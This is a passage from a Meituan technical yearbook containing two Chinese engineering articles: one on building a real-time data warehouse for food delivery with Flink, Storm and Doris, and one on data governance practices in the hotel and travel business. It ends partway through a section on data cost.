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美团外卖实时数仓建设实践

作者：朱良　玉良　文博　山林

实时数仓以端到端低延迟、SQL标准化、快速响应变化、数据统一为目标。美团外

卖数据智能组总结的最佳实践是：一个通用的实时生产平台跟一个通用交互式实时分

析引擎相互配合，同时满足实时和准实时业务场景。两者合理分工，互相补充，形成

易开发、易维护且效率高的流水线，兼顾开发效率与生产成本，以较好的投入产出比

满足业务的多样性需求。

01 实时场景

实时数据在美团外卖的场景是非常多的，主要有以下几个方面：

	● 运营层面：比如实时业务变化，实时营销效果，当日营业情况以及当日分时业
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务趋势分析等。

	● 生产层面：比如实时系统是否可靠，系统是否稳定，实时监控系统的健康状况等。

	● C 端用户：比如搜索推荐排序，需要实时行为、特点等特征变量的生产，给用

户推荐更加合理的内容。

	● 风控侧：实时风险识别、反欺诈、异常交易等，都是大量应用实时数据的场景。

02 实时技术及架构

1. 实时计算技术选型

目前，市面上已经开源的实时技术还是很多的，比较通用的有 Storm、Spark	

Streaming 以及 Flink，技术同学在做选型时要根据公司的具体业务来进行部署。

美团外卖依托于美团整体的基础数据体系建设，从技术成熟度来讲，公司前几年主

要用的是 Storm。当时的 Storm，在性能稳定性、可靠性以及扩展性上也是无可

替代的。但随着 Flink 越来越成熟，从技术性能上以及框架设计优势上已经超越了

Storm，从趋势来讲就像 Spark 替代MR一样，Storm 也会慢慢被 Flink 替代。当

然，从 Storm 迁移到 Flink 会有一个过程，我们目前有一些老的任务仍然运行在

Storm上，也在不断推进任务迁移。

具体Storm和 Flink 的对比可以参考上图表格。

https://tech.meituan.com/2016/10/21/test-of-storms-reliability.html
https://tech.meituan.com/2017/11/17/flink-benchmark.html
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2. 实时架构

① Lambda 架构

Lambda 是比较经典的一款架构，以前实时的场景不是很多，以离线为主，当附加了

实时场景后，由于离线和实时的时效性不同，导致技术生态是不一样的。而 Lambda

架构相当于附加了一条实时生产链路，在应用层面进行一个整合，双路生产，各自独

立。在业务应用中，顺理成章成为了一种被采用的方式。

双路生产会存在一些问题，比如加工逻辑Double，开发运维也会Double，资源同

样会变成两个资源链路。因为存在以上问题，所以又演进了一个Kappa 架构。

② Kappa 架构
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Kappa 从架构设计来讲，比较简单，生产统一，一套逻辑同时生产离线和实时。但

是在实际应用场景有比较大的局限性，在业内直接用Kappa 架构生产落地的案例不

多见，且场景比较单一。这些问题在美团外卖这边同样会遇到，我们也会有自己的一

些思考，将会在后面的章节进行阐述。

03 业务痛点

首先，在外卖业务上，我们遇到了一些问题和挑战。在业务早期，为了满足业务需

要，一般是Case	By	Case 地先把需求完成。业务对于实时性要求是比较高的，从时

效性的维度来说，没有进行中间层沉淀的机会。在这种场景下，一般是拿到业务逻辑直

接嵌入，这是能想到的简单有效的方法，在业务发展初期这种开发模式也比较常见。

如上图所示，拿到数据源后，我们会经过数据清洗、扩维，通过Storm或 Flink 进行

业务逻辑处理，最后直接进行业务输出。把这个环节拆开来看，数据源端会重复引用

相同的数据源，后面进行清洗、过滤、扩维等操作，都要重复做一遍。唯一不同的是

业务的代码逻辑是不一样的，如果业务较少，这种模式还可以接受，但当后续业务量

上去后，会出现谁开发谁运维的情况，维护工作量会越来越大，作业无法形成统一管

理。而且所有人都在申请资源，导致资源成本急速膨胀，资源不能集约有效利用，因

此要思考如何从整体来进行实时数据的建设。
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04 数据特点与应用场景

那么如何来构建实时数仓呢？首先要进行拆解，有哪些数据，有哪些场景，这些场景

有哪些共同特点，对于外卖场景来说一共有两大类，日志类和业务类。

	● 日志类：数据量特别大，半结构化，嵌套比较深。日志类的数据有个很大的特

点，日志流一旦形成是不会变的，通过埋点的方式收集平台所有的日志，统

一进行采集分发，就像一颗树，树根非常大，推到前端应用的时候，相当于

从树根到树枝分叉的过程（从 1到 n的分解过程）。如果所有的业务都从根上

找数据，看起来路径最短，但包袱太重，数据检索效率低。日志类数据一般

用于生产监控和用户行为分析，时效性要求比较高，时间窗口一般是 5min 或

10min，或截止到当前的一个状态，主要的应用是实时大屏和实时特征，例如

用户每一次点击行为都能够立刻感知到等需求。

	● 业务类：主要是业务交易数据，业务系统一般是自成体系的，以Binlog 日志的

形式往下分发，业务系统都是事务型的，主要采用范式建模方式。特点是结构

化，主体非常清晰，但数据表较多，需要多表关联才能表达完整业务，因此是

一个 n到 1的集成加工过程。

而业务类实时处理，主要面临的以下几个难点：

	● 业务的多状态性：业务过程从开始到结束是不断变化的，比如从下单 -> 支

付 ->配送，业务库是在原始基础上进行变更的，Binlog 会产生很多变化的日
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志。而业务分析更加关注最终状态，由此产生数据回撤计算的问题，例如 10

点下单，13点取消，但希望在 10点减掉取消单。

	● 业务集成：业务分析数据一般无法通过单一主体表达，往往是很多表进行关联，

才能得到想要的信息，在实时流中进行数据的合流对齐，往往需要较大的缓存

处理且复杂。

	● 分析是批量的，处理过程是流式的：对单一数据，无法形成分析，因此分析对

象一定是批量的，而数据加工是逐条的。

日志类和业务类的场景一般是同时存在的，交织在一起，无论是Lambda架构还是

Kappa架构，单一的应用都会有一些问题。因此针对场景来选择架构与实践才更有意义。

05 实时数仓架构设计

1. 实时架构：流批结合的探索

基于以上问题，我们有自己的思考。通过流批结合的方式来应对不同的业务场景。

如上图所示，数据从日志统一采集到消息队列，再到数据流的ETL 过程，作为基础

数据流的建设是统一的。之后对于日志类实时特征，实时大屏类应用走实时流计算。

对于Binlog 类业务分析走实时OLAP批处理。

流式处理分析业务的痛点是什么？对于范式业务，Storm 和 Flink 都需要很大的外

存，来实现数据流之间的业务对齐，需要大量的计算资源。且由于外存的限制，必须
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进行窗口的限定策略，最终可能放弃一些数据。计算之后，一般是存到Redis 里做查

询支撑，且KV存储在应对分析类查询场景中也有较多局限。

实时OLAP怎么实现？有没有一种自带存储的实时计算引擎，当实时数据来了之后，

可以灵活的在一定范围内自由计算，并且有一定的数据承载能力，同时支持分析查询

响应呢？随着技术的发展，目前MPP引擎发展非常迅速，性能也在飞快提升，所以

在这种场景下就有了一种新的可能。这里我们使用的是Doris 引擎。

这种想法在业内也已经有实践，且成为一个重要探索方向。阿里基于 ADB的实时

OLAP方案等。

2. 实时数仓架构设计

从整个实时数仓架构来看，首先考虑的是如何管理所有的实时数据，资源如何有效整

合，数据如何进行建设。

从方法论来讲，实时和离线是非常相似的。离线数仓早期的时候也是 Case	By	

Case，当数据规模涨到一定量的时候才会考虑如何治理。分层是一种非常有效的数

据治理方式，所以在实时数仓如何进行管理的问题上，首先考虑的也是分层的处理逻

辑，具体内容如下：

	● 数据源：在数据源的层面，离线和实时在数据源是一致的，主要分为日志类和

业务类，日志类又包括用户日志、DB日志以及服务器日志等。

	● 实时明细层：在明细层，为了解决重复建设的问题，要进行统一构建，利用离

线数仓的模式，建设统一的基础明细数据层，按照主题进行管理，明细层的目

的是给下游提供直接可用的数据，因此要对基础层进行统一的加工，比如清

洗、过滤、扩维等。

	● 汇总层：汇总层通过 Flink 或 Storm的简洁算子直接可以算出结果，并且形成

汇总指标池，所有的指标都统一在汇总层加工，所有人按照统一的规范管理建

设，形成可复用的汇总结果。
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总结起来，从整个实时数仓的建设角度来讲，首先数据建设的层次化要先建出来，先

搭框架，然后定规范，每一层加工到什么程度，每一层用什么样的方式，当规范定义

出来后，便于在生产上进行标准化的加工。由于要保证时效性，设计的时候，层次不

能太多，对于实时性要求比较高的场景，基本可以走上图左侧的数据流，对于批量处

理的需求，可以从实时明细层导入到实时OLAP引擎里，基于OLAP引擎自身的计

算和查询能力进行快速的回撤计算，如上图右侧的数据流。

06 实时平台化建设

架构确定之后，我们后面考虑的是如何进行平台化的建设，实时平台化建设是完全附

加于实时数仓管理之上进行的。



数据·安全·测试　<　9

首先进行功能的抽象，把功能抽象成组件，这样就可以达到标准化的生产，系统化的

保障就可以更深入的建设，对于基础加工层的清洗、过滤、合流、扩维、转换、加

密、筛选等功能都可以抽象出来，基础层通过这种组件化的方式构建直接可用的数据

结果流。这会产生一个问题，用户的需求多样，为了满足了这个用户，如何兼容其他

的用户，因此可能会出现冗余加工的情况。从存储的维度来讲，实时数据不存历史，

不会消耗过多的存储，这种冗余是可以接受的，通过冗余的方式可以提高生产效率，

是一种以空间换时间思想的应用。

通过基础层的加工，数据全部沉淀到 IDL 层，同时写到OLAP引擎的基础层，再往

上是实时汇总层计算，基于Storm、Flink 或 Doris，生产多维度的汇总指标，形成

统一的汇总层，进行统一的存储分发。

当这些功能都有了以后，元数据管理，指标管理，数据安全性、SLA、数据质量等系

统能力也会逐渐构建起来。

1. 实时基础层功能

实时基础层的建设要解决一些问题。首先是一条流重复读的问题，一条Binlog 打过

来，是以DB包的形式存在的，用户可能只用其中一张表，如果大家都要用，可能存在

所有人都要接这个流的问题。解决方案是可以按照不同的业务解构出来，还原到基础数

据流层，根据业务的需要做成范式结构，按照数仓的建模方式进行集成化的主题建设。



10　>　2021年美团技术年货

其次要进行组件的封装，比如基础层的清洗、过滤、扩维等功能，通过一个很简单的

表达入口，让用户将逻辑写出来。数据转换环节是比较灵活的，比如从一个值转换成

另外一个值，对于这种自定义逻辑表达，我们也开放了自定义组件，可以通过 Java

或 Python 开发自定义脚本，进行数据加工。

2. 实时特征生产功能

特征生产可以通过SQL语法进行逻辑表达，底层进行逻辑的适配，透传到计算引擎，

屏蔽用户对计算引擎的依赖。就像对于离线场景，目前大公司很少通过代码的方式开

发，除非一些特别的Case，所以基本上可以通过SQL化的方式表达。

在功能层面，把指标管理的思想融合进去，原子指标、派生指标，标准计算口径，维

度选择，窗口设置等操作都可以通过配置化的方式，这样可以统一解析生产逻辑，进

行统一封装。

还有一个问题，同一个源，写了很多SQL，每一次提交都会起一个数据流，比较浪

费资源，我们的解决方案是，通过同一条流实现动态指标的生产，在不停服务的情况

下可以动态添加指标。

所以在实时平台建设过程中，更多考虑的是如何更有效的利用资源，在哪些环节更能

节约化的使用资源，这是在工程方面更多考虑的事情。
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3. SLA 建设

SLA主要解决两个问题，一个是端到端的SLA，一个是作业生产效率的SLA，我们

采用埋点 +上报的方式，由于实时流比较大，埋点要尽量简单，不能埋太多的东西，

能表达业务即可，每个作业的输出统一上报到SLA监控平台，通过统一接口的形式，

在每一个作业点上报所需要的信息，最后能够统计到端到端的SLA。

在实时生产中，由于链路非常长，无法控制所有链路，但是可以控制自己作业的效

率，所以作业SLA也是必不可少的。

4. 实时 OLAP 方案

问题

	● Binlog 业务还原复杂：业务变化很多，需要某个时间点的变化，因此需要进

行排序，并且数据要存起来，这对于内存和CPU的资源消耗都是非常大的。

	● Binlog 业务关联复杂：流式计算里，流和流之间的关联，对于业务逻辑的表

达是非常困难的。

解决方案

通过带计算能力的OLAP引擎来解决，不需要把一个流进行逻辑化映射，只需要解

决数据实时稳定的入库问题。
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我们这边采用的是Doris 作为高性能的OLAP引擎，由于业务数据产生的结果和结

果之间还需要进行衍生计算，Doris 可以利用Unique 模型或聚合模型快速还原业务，

还原业务的同时还可以进行汇总层的聚合，也是为了复用而设计。应用层可以是物理

的，也可以是逻辑化视图。

这种模式重在解决业务回撤计算，比如业务状态改变，需要在历史的某个点将值变

更，这种场景用流计算的成本非常大，OLAP模式可以很好的解决这个问题。

07 实时应用案例

最后通过一个案例说明，比如商家要根据用户历史下单数给用户优惠，商家需要看到

历史下了多少单，历史 T+1 的数据要有，今天实时的数据也要有，这种场景是典型

的 Lambda 架构。我们可以在Doris 里设计一个分区表，一个是历史分区，一个是

今日分区，历史分区可以通过离线的方式生产，今日指标可以通过实时的方式计算，

写到今日分区里，查询的时候进行一个简单的汇总。
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这种场景看起来比较简单，难点在于商家的量上来之后，很多简单的问题都会变得复

杂。后续，我们也会通过更多的业务输入，沉淀出更多的业务场景，抽象出来形成统

一的生产方案和功能，以最小化的实时计算资源支撑多样化的业务需求，这也是未来

我们需要达到的目的。
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美团酒旅数据治理实践

作者：建舒　王磊　罗茜

一、背景

1. 为什么要做数据治理

随着移动互联网的兴起，线下商业活动逐渐开始向线上化发展，数据的产生速度有了

极大的提升。越来越多的公司开始认识到数据的重要性，并将其打造成为公司的核心

资产，从而驱动业务的发展。在数据相关的领域中，“数据治理”这个话题近两年尤

为火热，很多公司特别是大型互联网公司都在做一些数据治理的规划和动作。

为什么要做数据治理？因为在数据产生、采集、加工、存储、应用到销毁的全过程

中，每个环节都可能会引入各种质量、效率或安全相关的问题。在公司早期的发展阶

段，这些数据问题对公司发展的影响并不是很大，公司对问题的容忍度相对也比较

高。但是，随着业务的发展，公司在利用数据资产创造价值的同时，对数据质量和稳

定性要求也有所提升。此外，当数据积累得越来越多，公司对数据精细化运营程度的

要求也随之提高，会逐渐发现有很多问题需要治理。

同时，在数据开发的过程中也会不断引入一些问题，而数据治理就是要不断消除引入

的这些问题，保障数据准确、全面和完整，为业务创造价值，同时严格管理数据的权

限，避免数据泄露带来的业务风险。因此，数据治理是数字时代很多公司一项非常重

要的核心能力。
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2. 需要治理哪些问题

数据治理是一项需要长期被关注的复杂工程，这项工程通过建立一个满足企业需求的

数据决策体系，在数据资产管理过程中行使权力、管控和决策等活动，并涉及到组

织、流程、管理制度和技术体系等多个方面。一般而言，数据治理的治理内容主要包

括下面几个部分：

	● 质量问题：这是最重要的问题，很多公司的数据部门启动数据治理的大背景就

是数据质量存在问题，比如数仓的及时性、准确性、规范性，以及数据应用指

标的逻辑一致性问题等。

	● 成本问题：互联网行业数据膨胀速度非常快，大型互联网公司在大数据基础设

施上的成本投入占比非常高，而且随着数据量的增加，成本也将继续攀升。

	● 效率问题：在数据开发和数据管理过程中都会遇到一些影响效率的问题，很多

时候是靠“盲目”地堆人力在做。

	● 安全问题：业务部门特别关注用户数据，一旦泄露，对业务的影响非常之大，

甚至能左右整个业务的生死。

	● 标准问题：当公司业务部门比较多的时候，各业务部门、开发团队的数据标准

不一致，数据打通和整合过程中都会出现很多问题。
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3. 美团酒旅数据现状

2014 年，美团酒旅业务成为独立的业务部门，到 2018 年，酒旅平台已经成为国内

酒旅业务重要的在线预订平台之一。业务发展速度较快，数据增长速度也很快。在

2017 到 2018 两年里，生产任务数以每年超过一倍的速度在增长，数据量以每年两

倍多的速度在增长。如果不做治理的话，根据这种接近指数级的数据增长趋势来预

测，未来数据生产任务的复杂性及成本负担都会变得非常之高。在 2019 年初，我们

面临着下面五种问题：

	● 数据质量问题严重：一是数据冗余严重，从数据任务增长的速度来看，新上线

任务多，下线任务少，对数据表生命周期的控制较少；二是在数据建设过程

中，很多应用层数据都属于“烟囱式”建设，很多指标口径没有统一的管理规

范，数据一致性无法进行保证，同名不同义、同义不同名的现象频发。

	● 数据成本增长过快：某些业务线大数据存储和计算资源的机器费用占比已经超

过了 35%，如果不加以控制，大数据成本费用只会变得越来越高。

	● 数据运营效率低下：数据使用和咨询多，数据开发工程师需要花费大量时间一

对一解答业务用户的各种问题。但是这种方式对于用户来说，并没有提升数据

的易用性，无法有效地积累和沉淀数据知识，还降低了研发人员的工作效率。

	● 数据安全缺乏控制：各业务线之间可以共用的数据比较多，而且每个业务线没

有统一的数据权限管控标准。
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	● 开发标准规范缺失：早期为快速响应业务需求，研发人员通常采用“烟囱式”

的开发模式，由于缺乏相应的开发规范约束，且数据工程师的工作思路和方式

差异性都非常大，导致数据仓库内的重复数据多，规范性较差。当发生数据问

题时，问题的排查难度也非常大，且耗时较长。

4. 治理目标

2019 年，美团酒旅数据团队开始主动启动数据治理工作，对数据生命周期全链路进

行体系化数据治理，期望保障数据的长期向好，解决数据各个链路的问题，并保持数

据体系的长期稳定。具体的目标包含以下几个方面：

	● 建立数据开发全链路的标准规范，提高数据质量，通过系统化手段管理指标口

径，保障数据一致性。

	● 控制大数据成本，避免大数据机器成本膨胀对业务营收带来的影响，合理控制

数据的生命周期，避免数据重复建设，减少数据冗余，及时归档和清理冷数

据。

	● 管理数据的使用安全，建立完善的数据安全审批流程和使用规范，确保数据被

合理地使用，避免因用户数据泄露带来的安全风险和商业损失。

	● 提高数据工程师的开发和运维效率，减少他们数据运营时间的投入，提高数据

运营的自动化和系统化程度。

二、数据治理实践

其实早在 2018 年以前，酒旅数据组就做过数据治理，当时只是从数仓建模、指标管

理和应用上单点做了优化和流程规范。之后，基于上面提到的五个问题，我们又做了

一个体系化的数据治理工作。下面将介绍一下美团酒旅数据团队在数据治理各个方向

上的具体实践。

1. 数据治理策略

数据治理方案需要覆盖数据生命周期的全链路，我们把数据治理的内容划分为几大部

分：组织、标准规范、技术、衡量指标。整体数据治理的实现路径是以标准化的规范
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和组织保障为前提，通过做技术体系整体保证数据治理策略的实现。同时，搭建数据治

理的衡量体系，随时观测和监控数据治理的效果，保障数据治理长期向好的方向发展。

2. 标准化和组织保障

我们制定了一个全链路的数据标准，从数据采集、数仓开发、指标管理到数据生命周

期管理，全链路建立标准，在标准化建立过程中联合组建了业务部门的数据管理委

员会。
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2.1 标准化

数据标准化包括三个方面：一是标准制定；二是标准执行；三是在标准制定和执行过

程中的组织保障，比如怎么让标准能在数据技术部门、业务部门和相关商业分析部门

达成统一。

从标准制定上，我们制定了一套覆盖数据生产到使用全链路的数据标准方法，从数据

采集、数仓开发、指标管理到数据生命周期管理都建立了相应环节的标准化的研发规

范，数据从接入到消亡整个生命周期全部实现了标准化。

2.2 组织保障

根据美团数据管理分散的现状，专门建立一个职能全面的治理组织去监督执行数据治

理工作的成本有点太高，在推动和执行上，阻力也会比较大。所以，在组织保障上，

我们建立了委员会机制，通过联合业务部门和技术部门中与数据最相关的团队成立了

数据管理委员会，再通过委员会去推动相关各方去协同数据治理的相关工作。

业务部门的数据接口团队是数据产品组，数据技术体系是由数据开发组负责建设，所

以我们以这两个团队作为核心建立了业务数据管理委员会，并由这两个团队负责联合

业务部门和技术部门的相关团队，一起完成数据治理各个环节工作和流程的保障。组

织中各个团队的职责分工如下：

数据管理委员会：负责数据治理策略、目标、流程和标准的制定，并推动所有相关团

队达成认知一致。业务数据产品组：负责数据标准、需求对接流程、指标统一管理、

数据安全控制以及业务方各部门的协调推动工作。技术数据开发组：负责数据仓库、

数据产品、数据质量、数据安全和数据工具的技术实现，以及技术团队各个部门的协

调推动工作。

3. 技术系统

数据治理涉及的范围非常广，需要协作的团队也很多，除了需要通过组织和流程来保

障治理行动正常开展，我们也考虑通过技术系统化和自动化的方式进一步提效，让系
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统代替人工。下面我们将从数据质量、数据成本、数据安全和运营效率等几个方向，

来逐一介绍技术实现方案。

3.1 数据质量

数据质量是影响数据价值最重要的因素，高质量的数据给带来准确的数据分析，错误

的数据会把业务引导到错误的方向。数据质量涉及范围较广，在数据链路的每一个环

节都有可能出现数据质量问题，酒旅业务现阶段的主要质量问题包括：

	● 数仓规范性差，数仓架构无统一的强制规范执行约束，数仓历史冗余数据

严重。

	● 应用层数据属于“烟囱式”建设，指标在多个任务中生产，无法保证数据的一

致性。

	● 数据下游应用的数据使用无法把控，数据准确较差，接口稳定性无法得到

保障。

	● 业务方对多个数据产品的指标逻辑无统一的定义，各个产品中数据不能直接对标。

数据组的治理数据质量方案覆盖了数据生命周期的各个环节，下面将介绍一下整体的

技术架构。

	● 统一数仓规范建模（One Model）：通过统一数仓规范建模系统化保障数仓规

范执行，做到业务数仓规范标准化，并及时监控和删除重复和过期的数据。

	● 统一指标逻辑管理（One Logic）：通过业务内统一的指标定义和使用，并系

统化管理指标逻辑，数据应用层的数据指标逻辑都从指标管理系统中获取，保

障所有产品中的指标逻辑一致。

	● 统一数据服务（One Service）：通过建设统一的数据服务接口层，解耦数据

逻辑和接口服务，当数据逻辑发生变化后不影响接口数据准确性，同时监控接

口的调用，掌握数据的使用情况。

	● 统一用户产品入口（One Portal）：分用户整合数据产品入口，使同一场景下

数据逻辑和使用方式相同，用户没有数据不一致的困惑。
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3.1.1 统一数仓规范建模（One Model）

在业务发展初期，数据团队集中精力在快速建设数仓来支持业务，数仓建模规范疏于

管理。随着业务的发展，数仓中的数据急剧增多，数据产品和下游应用快速增加，数

据工程师和数据使用方也变得越来越多，数仓的问题日益突显。业务数据仓库从初期

发展到现在主要暴露了 3方面的问题：

	● 数据规范性较差，不同时间的数仓规范不同，数仓规范的执行审核需要较多的

人力。

	● 数据不一致问题多，同一指标在多个ETL中生产，数据更新同步也不及时。

	● 历史数据冗余严重，数据存储方式较多，业务方查询不知道该用哪个数据。

数据团队主要通过数仓规范化制定、数仓分层架构和数仓规范化系统来解决上述问

题，下面是我们的具体解决方案。

制定标准 - 数仓规范

做好数仓规范化最基本的前提是要制定一系列标准化的规范，并推动组内同学执行。

标准化的适用性、全面性和可执行性直接影响到规范的执行效果。数仓规范主要从 3

个方面制定数据标准化：
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	● 数仓建模规范，数仓建设最基础的规范，包括分层、命名、码值、指标定义、

分层依赖等维度。

	● 主数据管理规范，数仓各个主题的数据只有一份，团队共建复用，不能重复

开发。

	● 数据使用规范，在查询数据时优先查询主题层，不再提供明细层和ODS层的

查询访问入口。

工具保障 - 数仓规范化开发系统 -Dataman

在执行数据规范化的过程中，我们发现团队中每个人对规范的理解不一致，很可能造

成数据规范不统一，审核人在审核上线任务时需要考虑规范的全部规则，审批需要投

入的人力较多。在这样的流程下，数据规范性无法从根源上进行控制，因此需要建

设数据规范化的工具，通过系统保障规范的一致性。数据组使用的数据层规范化工

具 -Dataman，主要包括 3个功能模块：标准化规范、配置化开发和规则化验证。

	● 标准化规范：制定业务数据仓库的标准规范并配置在系统中，包括架构分层、

字段管理、词根管理、公共维度和码值管理等，在ETL 开发时通过统一的数

仓规范开发，通过配置化实现数仓的命名、分层和码值，保障数仓长期的规

范性。
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	● 配置化开发：系统化保障工程师在开发ETL 过程中遵守数仓规范，Dataman

可以用配置化的方式生成XT任务模板，模板中包含数据模型的基础信息，研

发同学只需要在任务模板中开发数据生产逻辑。

	● 规则化验证：跟进数据仓库底层元数据和标准化配置信息，定期扫描数仓的规

范性情况，判断出不符合数仓规范的任务和高相似度的数据表。

3.1.2 统一指标逻辑管理（One Logic）

业务使用数据的第一步是搭建业务指标体系，业务的目标和策略的执行情况需要通过

指标来分析，指标体系的合理性和指标数据的质量直接影响到业务决策，指标的重要

性不言而喻。我们通过系统化地管理数据指标，从根源上解决指标口径一致性问题，

主要从以下 3个方向入手：

	● 指标定义规范化

	● 指标管理系统化

	● 数据查询智能化
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指标定义规范化

此处主要从指标的生成和管理上做好规范，确保业务同学和研发人员对指标体系管理

的认知一致，确保指标的新建、更改和使用都按照规范执行。我们通过下面 2个方向

来实现指标定义的规范统一。

	● 业务指标体系的规范化：我们在业务线内统一了指标体系规范，指标分为原子

指标、计算指标和复合指标，通过使用这 3类指标支持业务的数据分析需求，

业务未来新增指标也要按照这个标准分类。

	● 指标的管理规范化：我们与商业分析团队一起梳理业务指标逻辑标准和录入流

程，通过制定指标的新增和变更规范SOP，解决由指标管理流程引起的质量

问题，使得指标定义、系统录入、指标认证和使用各个环节都有严格的流程管

控，经由业务侧数据产品经理、业务侧数据治数据管理员和数据工程师共同审

批，确保标准规范的落地执行。

指标管理系统化

物理数据表管理：数据表管理的信息主要包括表的基础元数据信息、表类型（维表或

事实表）、表的推荐度、描述信息和样例数据等。数据表管理主要是面向数据开发同

学，通过维护数据表信息，为数据模型和指标管理提供数据基础支持。

数据模型管理：是对物理数据表的模型构建，通过一个物理模型可以查询到指标和相

关的维度数据。数据模型可以是星型模型或宽表，星型模型中维护多个数据表的关联

方式、关联字段、维度表包含字段和模型的ER图等信息。

指标管理：主要包括 2部分的内容，指标的业务信息和技术信息。

	● 业务信息：为了保障业务的指标信息准确且统一，指标的业务信息需要数据产

品经理与商业分析团队讨论确定后录入，录入后需要指标所属数据主题的负责

人审批后才能上线。

	● 技术信息：技术信息主要包括指标对应的物理模型以及指标的计算逻辑，技术

信息的填写需要数据工程师配置。技术信息配置后会在系统里生成技术元数

据，指标管理系统通过技术元数据生成数据查询语句，提供给下游应用。
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指标查询智能化

在指标管理系统中创建指标时，我们系统化管理了指标与数仓物理模型的关联关系和

取数逻辑，通过数据物理模型获得指标对应的字段和可以关联的维度，以此把指标解析

为数据查询SQL语句，通过数据查询引擎执行生产的SQL，智能化获得指标数据。

在查询解析过程中，经常出现指标绑定了多个底层数据表的情况，此时需要我们手动
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的选一个物理模型作为指标生产的底层数据。但问题是，如果一个指标对应的模型太

多，每次解析都需要手动指定，研发人员不确定选择哪个模型的性能最好。另外，随

着物理模型的增多，大量旧的指标配置的关联模型不是最优解，就需要手动优化更

改。为了解决这个问题，指标管理系统增加了智能解析模块，在选择智能模式查询

时，系统会根据指标管理模型的数据量、存储性能和查询次数等信息自动选取最优的

物理模型。

3.1.3 统一数据服务（One Service）

数据仓库对外提供数据的需求越来越多，除了管理层、分析师和产品运营同学使用数

据产品和报表外，数据还需要提供到各个业务系统中使用。常用的提供数据的方式主

要包括同步数据表、提供SQL和为下游服务开发定制化API 接口等方式，但存在以

下几个方面的问题：

	● 数据一致性无法保障，当数据指标逻辑更改时，业务系统不能及时调整，导致

不同业务系统的数据不一致。

	● 数据同步到业务系统后，我们就无法管控数据的使用方式，也不能监控到数据

是否被其他下游使用的情况。

	● 数据开发效率比较低，数据服务稳定性比较差，数据工程师开发一个定制化

API 接口需要几天时间，各个接口服务单独维护，服务稳定性也比较差。

从 2018 年开始，数据BP中心与分析系统中心合作建设了统一数据 API 服务平台

（Buffalo），通过开发可配置的数据接口服务平台实现数据对外的灵活提供，并实现

对数据服务的下游使用及性能的可监控。统一的数据服务平台解决了几个比较关键的

问题：

	● 数据逻辑统一收口：数据服务接口和数据逻辑解耦，当数仓更改和数据指标逻

辑变更后下游无感知。

	● 数据服务的更好管控：研发同学能够了解到数据被哪些下游使用、调用了多少

次和数据服务是否稳定等信息。

	● 开发效率大幅提升，服务稳定性大幅提高：通过统一服务平台可以在 1小时内
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完成一个接口的配置化开发，与此同时，接口稳定性统一运维，服务稳定性有

了很好的保障。

3.1.4 统一用户产品入口（One Portal）

如果不加控制，数据产品就会建设得越来越多。酒旅业务在 2018 年有超过 10 个数

据相关产品的入口，用户很难快速地找到自己想要查的数据产品和报表。不同产品面

对的用户不一样，数据的使用场景和展示方式也各不相同，业务方在使用数据时不知

道从哪里能看到最全面的数据产品。

此外，也存在因为适用场景不一样，导致面向不同用户的数据逻辑不同的情况，比如

某些业务同学查看的GMV不包含民宿数据，但是商业分析团队要看的GMV是包含

民宿数据的。为了能够让业务方能够在一个数据产品门户中找到更全面的数据，且这

个产品门户中多个产品的数据逻辑是一致的，我们将数据门户按照使用用户和应用场

景划分为 3类：

	● 决策分析使用“大圣”（美团内部的数据平台），面向管理者和商业分析团队，所

有业务管理者和商业分析团队成员需要的数据都可以从大圣数据产品里查看。

	● 业务数据查询使用“天狼”	（美团内部的数据平台），用户主要是销售，在天狼

里能查看销售所需的各种数据。

	● 数据资产信息查询使用“大禹”（美团内部的数据平台），用户是研发人员和检
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索数据信息的业务方，在大禹数据门户里可以找到数据资产的信息，能更快地

找到想要的数据，更全面地了解相关的元数据。

3.1.5 整体系统架构

整体的技术架构分为三层，从统一数据建模到统一指标逻辑、统一数据服务和统一产

品入口，整体保障了数据的质量，同时配合数据管理的组织保障体系和流程规范，将

整体数据质量相关的架构搭建起来。

3.2 数据运营效率

数据工程师在日常工作中的主要工作包括两大部分：数据开发和数据运营。我们在前

面介绍了通过数据开发和指标管理相关的工具系统建设，开发效率得到了大幅提升。
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而数据运营是另一大类工作，他们的主要时间投入在数据使用咨询和数据问题答疑，

大概占数据工程师日常工作 5%～ 10%的时间。

数据工程师日常投入到运营的人力多的主要原因是信息不对称和信息检索能力弱，数

据团队建设了很多数据模型和数据产品，但是用户不知道怎么快速地找到和使用这些

数据，问题主要体现在下面 3个方面：

	● 找数难：所需要的数据有没有？在哪里能找到？

	● 看不懂：数据仓库是以数据表和报表等方式提供，数据的逻辑和含义不够清晰

易懂。

	● 不会用：数据指标的查询逻辑是什么？多个表怎么关联使用？

3.2.1 方案思路

数据团队通过数据资产信息的系统化的方式建设易用的数据检索产品，帮助用户更快

捷、更方便地找到数据，并指导用户正确地使用数据，提高数据信息的易用性，以此

减少数据工程师的数据答疑和运维时间。实现策略是通过用户的问题分类，通过数据

信息系统化的方式分类解答 80%的问题，最后少量的问题透传到研发人员再进行人

工答疑。系统化方式主要分两层，数据使用智能和数据答疑机器人。

3.2.2 数据使用指南系统

数据使用指南的定位是业务数据信息的知识白皮书，提供最新、最全、最准确的指标

口径、项目指标体系、数据表用法等信息，以简洁、流畅的操作支持数据指南中的内
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容及时更新，降低业务方的数据答疑和数据使用成本。

数据使用指南通过把业务场景和数据使用场景打通，从业务场景分析到使用到的数

据表、指标和数据产品打通，在系统中能够快速找到数据表、指标定义、数据查询

SQL、指标所在数据产品等信息，一站式解决数据查找、使用和分析的全部场景。主

要功能包括指标信息和数据表信息及使用。

	● 指标信息：包括业务分类指标和指标的详细信息，在指标详细信息页面可以查

看指标定义、指标使用场景、指标统计维度、指标对应数据表、指标所在数据

产品和指标的 SQL 查询示例等信息，把指标信息与数据表和数据产品关联，

方便用户快速根据指标信息查找到数据。

	● 数据表信息及使用方式：包括数据表的基础信息、表的使用推荐度、SQL查询

样例、数据更新时间和数据就绪时间等信息，帮助使用者快速定位需要的数据

表和数据SQL的查询使用。

3.2.3 数据答疑机器人

用户在使用数据时，经常咨询数据工程师一些问题，比如想找的数据在哪个表？指标

怎么取？业务系统的一个字段怎么在数仓里面取到？很多问题会被重复问到，每次解

答都需要研发人员花费一定的时间，而通过Wiki 的方式维护效果较差，于是我们考

虑用自动化答疑的方式，把数据工程师在日常答疑过程中积累问题和答案，通过一定



数据·安全·测试　<　31

的规则匹配，当再次被问到时系统可以自动地给出解答。

使用日常答疑中积累的咨询问题和答案作为基础答疑知识库，数据答疑机器人使用美

团AI 平台的摩西机器人搭建，配合问题答疑的策略，实现对历史已有问题和答案通

过搜索匹配后发送给用户，具体实现方式如下：

3.3 数据成本

